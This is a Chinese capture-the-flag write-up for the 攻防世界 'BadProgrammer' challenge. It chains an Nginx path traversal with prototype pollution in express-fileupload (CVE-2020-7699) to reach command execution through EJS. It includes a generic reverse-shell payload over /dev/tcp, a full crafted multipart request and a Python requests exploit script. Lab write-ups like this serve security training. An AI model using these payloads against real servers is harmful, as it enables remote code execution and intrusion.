【攻防世界】BadProgrammer
BadProgrammer(原型链污染)
题目来源
攻防世界 NO.GFSJ0986
题目描述
打开网址页面如下,没有什么有用信息
用dirsearch
扫一下目录,发现/static../
(用御剑扫不出来)
其实这是一个Nginx配置错误的目录遍历漏洞,用AWVS也可以扫出来
题解
访问/static../
查看app.js
,返回以下代码
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
app.use(fileUpload({ parseNested: true }));
app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
res.render('flag.ejs');
});
app.get('/', (req, res) => {
res.render('index.ejs');
})
app.listen(3000);
app.on('listening', function() {
console.log('Express server started on port %s at %s', server.address().port, server.address().address);
});
访问/4_pATh_y0u_CaNN07_Gu3ss
看到flag在 flag.txt 中,但是无法直接访问到 flag.txt
这里需要掌握express-fileupload
中间件漏洞:CVE-2020-7699。
该漏洞存在于express-fileupload
版本低于1.1.9(不包含),在package.json
中可以看到其版本为1.1.7,可以利用该漏洞
该漏洞原理分析:https://www.freebuf.com/vuls/246029.html
通用payload如下:
x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/port 0>&1"');x
如果有vps的同学可以尝试反弹shell到有公网ip的机器,这里我们直接将payload改为
x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x
构造请求报文,注意不要随意删除或添加空行
POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:53137
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
Content-Length: 289
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="__proto__.outputFunctionName"
x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x
-----------------------------1546646991721295948201928333--
该请求的Content-Type必须为 multipart/form-data
发送该请求包后,flag.txt将被复制到static/js
下,即可得到flag。
若构造该请求包有难度,也可以使用requests库进行请求
import requests
resp1 = requests.post("http://{}:{}/{}".format('61.147.171.105', '53137', '4_pATh_y0u_CaNN07_Gu3ss'),
files={'__proto__.outputFunctionName':
(
None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/js/flag.txt')
)})
print(resp1)